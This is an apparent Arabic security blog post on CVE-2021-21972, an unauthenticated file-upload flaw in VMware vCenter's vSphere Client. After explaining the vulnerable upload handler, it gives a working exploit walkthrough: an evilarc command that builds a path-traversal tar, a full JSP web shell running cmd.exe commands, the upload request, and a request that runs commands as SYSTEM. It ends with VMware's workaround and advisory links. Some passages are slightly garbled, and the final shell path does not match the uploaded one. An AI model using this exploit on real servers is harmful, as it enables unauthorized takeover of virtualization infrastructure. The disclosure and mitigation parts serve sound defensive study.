
CVE-2021-21972 – حقن كود غير مصرح به في عميل VMware (RCE)
[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)
إن عميل الويب vSphere Web Client (HTML5) هو في الأساس واجهة إدارية تتيح إدارة تثبيت vSphere. يوفر vSphere Client للمسؤول إمكانية الوصول إلى الوظائف الرئيسية لـ vSphere دون الحاجة إلى الوصول مباشرة إلى خادم vSphere. فهو يسمح للمسؤولين بإنشاء أجهزة افتراضية جديدة وإدارة الأجهزة الموجودة ومواردها. وباعتباره تطبيق ويب متعدد المنصات، يمكن استخدامه على جميع أنظمة التشغيل المدعومة عبر الإصدارات المدعومة من متصفحات الويب المختلفة.
CVE-2021-21972 هي ثغرة رفع ملفات غير مصرح بها في vCenter Server تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد على الخادم البعيد. تعود المشكلة إلى نقص المصادقة في vRealize Operations vCenter Plugin. وقد حصلت على درجة حرجة وفق نظام CVSSv3 بلغت 9.8 من 10.0. يمكن لمهاجم بعيد غير مصادَق استغلال هذه الثغرة عبر رفع ملف مصمم خصيصًا إلى نقطة نهاية معرضة للخطر في vCenter Server ويمكن الوصول إليها علنًا. تتأثر بهذه الثغرة إصدارات VMware vCenter Server التالية: 6.5, 6.7 و 7.0. سيؤدي الاستغلال الناجح لهذه الثغرة إلى تمكين المهاجم من الحصول على امتيازات تنفيذ تعليمات برمجية عن بُعد (RCE) غير مقيدة في نظام التشغيل الأساسي لخادم vCenter Server. على الرغم من أن هذه الثغرة تنبع من vRealize Operations vCenter Plugin، يؤكد إعلان VMware أن هذا المكوّن الإضافي included in all default installations لخادم vCenter Server. وهذا يعني أن نقطة النهاية المعرضة للخطر متاحة بغض النظر عن وجود vRealize Operations.
في التدوينة الأصلية هنا، تم شرح اكتشاف الثغرة بأكبر قدر ممكن من التفاصيل بالإضافة إلى مسارين منفصلين لتحقيق RCE. بالنسبة لأنظمة Windows، يمكن للمهاجم رفع ملف .jsp مصمم خصيصًا للحصول على امتيازات على نظام التشغيل الأساسي. بالنسبة لأنظمة Linux، يحتاج المهاجم إلى إنشاء مفتاح عام ورفعه إلى مسار authorized_keys على الخادم ثم الاتصال بالخادم المعرض للخطر عبر SSH للحصول على امتيازات مستخدم . (إذا كانت خدمة SSH تعمل ويمكن الوصول إليها عبر الشبكة)
NT AUTHORITY\SYSTEMvsphere-uivropsplugin-service.jar هو ملف أرشيف جافا للمكوّن الإضافي vropspluginui ويحتوي على بعض الفئات والوظائف والأساليب الأخرى ذات الصلة. الجزء المعرض للخطر من الكود موضح أدناه. ينتمي هذا المقتطف البرمجي إلى ServicesController.class في وحدة التحكم الخاصة بـ vropsplugin-service.jar. كما ترى في المقتطف أدناه، فإن الدالة uploadOvaFile هي المسؤولة عن نقطة النهاية/الرابط /ui/vropspluginui/rest/services/uploadova
المسار الكامل للفئة المعرضة للخطر: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
من منظور المهاجم، يقوم معالج هذه الفئة بالإجراءات التالية
uploadFile عبر طلب بطريقة POST (السطر 2)uploadFile وكتابة محتواه إلى المتغير inputStream (السطر 22)/tmp/unicorn_ova_dir + entry.getName() (السطران 42 و47)إثبات المفهوم: لاستغلال هذه الثغرة، يمكنك اتباع الخطوات التالية
../..//statsreport/uploadedFileName.jspللتحقق من الثغرة، يمكنك استخدام الطلب التالي
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
إذا كانت استجابة الطلب أعلاه مشابهة للاستجابات أدناه، فهذا يعني أن المضيف البعيد معرض للثغرة CVE-2021-21972
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
بعد ذلك، نحتاج إلى إنشاء ملف .tar مصمم. يمكنك استخدام evilarc لهذا الغرض. Evilarc هو سكربت بايثون بسيط يسمح لك بإنشاء ملف zip يحتوي على ملفات تحتوي على أحرف اجتياز الدلائل في مسارها المضمّن.
محتوى ملف cmdjsp.jsp وهو في الأساس قشرة ويب
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
باستخدام الأمر التالي، سيتم إنشاء ملف الأرشيف .tar المصمم.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
بعد ذلك، ارفع ملف .tar إلى الخادم باستخدام الطلب التالي
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
استجابة الطلب أعلاه موضحة أدناه
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS

إذا كانت حالة الاستجابة للطلب أعلاه 200 OK وكان النص SUCCESS، فهذا يعني أن ملف الأرشيف .tar قد تم رفعه بنجاح إلى المسار ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. بسبب تدفق التطبيق، سيقوم الخادم باستخراج ملف .tar إلى دليل /statsreport. بعد هذه المرحلة، كل ما عليك فعله هو تنفيذ طلب GET التالي لتنفيذ التعليمات البرمجية عن بُعد بامتيازات NT AUTHORITY\SYSTEM.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
الحل البديل: قامت VMware بإصلاح هذه الثغرة في الإصدارات 7.0 U1c و6.7 U3l و6.5 U3n على التوالي. ومع ذلك، إذا تعذر تثبيت التصحيح، ولتطبيق الحل البديل للثغرة CVE-2021-21972 و CVE-2021-21973 على عمليات نشر vCenter Server المستندة إلى Windows، نفّذ الخطوات التالية:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml في محرر نصوص<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> إلى عنصر pluginsCompatibilityC:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-pluginsلتطبيق الحل البديل للثغرة CVE-2021-21972 و CVE-2021-21973 على الأجهزة الافتراضية المستندة إلى Linux (vCSA)، نفّذ الخطوات التالية:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml في محرر نصوص<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> إلى عنصر pluginsCompatibility> service-control --stop vsphere-ui
> service-control --start vsphere-ui
لاحظ أن هذه الثغرة اكتشفها Andri Wijayanto من Positive Technologies، والمنشور الأصلي للبحث متاح هنا.
لمزيد من المعلومات، تفضل بزيارة الصفحات التالية.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html